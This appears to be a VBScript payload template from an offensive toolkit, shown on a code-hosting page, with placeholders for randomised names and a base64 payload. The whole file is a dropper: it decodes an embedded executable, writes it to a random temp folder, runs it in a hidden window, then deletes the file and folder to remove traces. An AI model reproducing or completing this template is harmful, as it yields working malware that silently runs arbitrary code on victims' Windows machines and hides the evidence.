35 lines
1.3 KiB
Plaintext
35 lines
1.3 KiB
Plaintext
Function %{var_decodefunc}(%{var_decodebase64})
|
|
%{var_xml} = "<B64DECODE xmlns:dt="& Chr(34) & "urn:schemas-microsoft-com:datatypes" & Chr(34) & " " & _
|
|
"dt:dt=" & Chr(34) & "bin.base64" & Chr(34) & ">" & _
|
|
%{var_decodebase64} & "</B64DECODE>"
|
|
Set %{var_xmldoc} = CreateObject("MSXML2.DOMDocument.3.0")
|
|
%{var_xmldoc}.LoadXML(%{var_xml})
|
|
%{var_decodefunc} = %{var_xmldoc}.selectsinglenode("B64DECODE").nodeTypedValue
|
|
set %{var_xmldoc} = nothing
|
|
End Function
|
|
|
|
Function %{var_func}()
|
|
%{var_shellcode} = "%{base64_shellcode}"
|
|
Dim %{var_obj}
|
|
Set %{var_obj} = CreateObject("Scripting.FileSystemObject")
|
|
Dim %{var_tempdir}
|
|
Dim %{var_basedir}
|
|
Set %{var_tempdir} = %{var_obj}.GetSpecialFolder(2)
|
|
%{var_basedir} = %{var_tempdir} & "\" & %{var_obj}.GetTempName()
|
|
%{var_obj}.CreateFolder(%{var_basedir})
|
|
%{var_tempexe} = %{var_basedir} & "\" & "%{exe_filename}"
|
|
Dim %{var_shell}
|
|
Set %{var_shell} = CreateObject("Wscript.Shell")
|
|
%{var_decoded} = %{var_decodefunc}(%{var_shellcode})
|
|
Set %{var_adodbstream} = CreateObject("ADODB.Stream")
|
|
%{var_adodbstream}.Type = 1
|
|
%{var_adodbstream}.Open
|
|
%{var_adodbstream}.Write %{var_decoded}
|
|
%{var_adodbstream}.SaveToFile %{var_tempexe}, 2
|
|
%{var_shell}.run %{var_tempexe}, 0, true
|
|
%{var_obj}.DeleteFile(%{var_tempexe})
|
|
%{var_obj}.DeleteFolder(%{var_basedir})
|
|
End Function
|
|
|
|
%{init}
|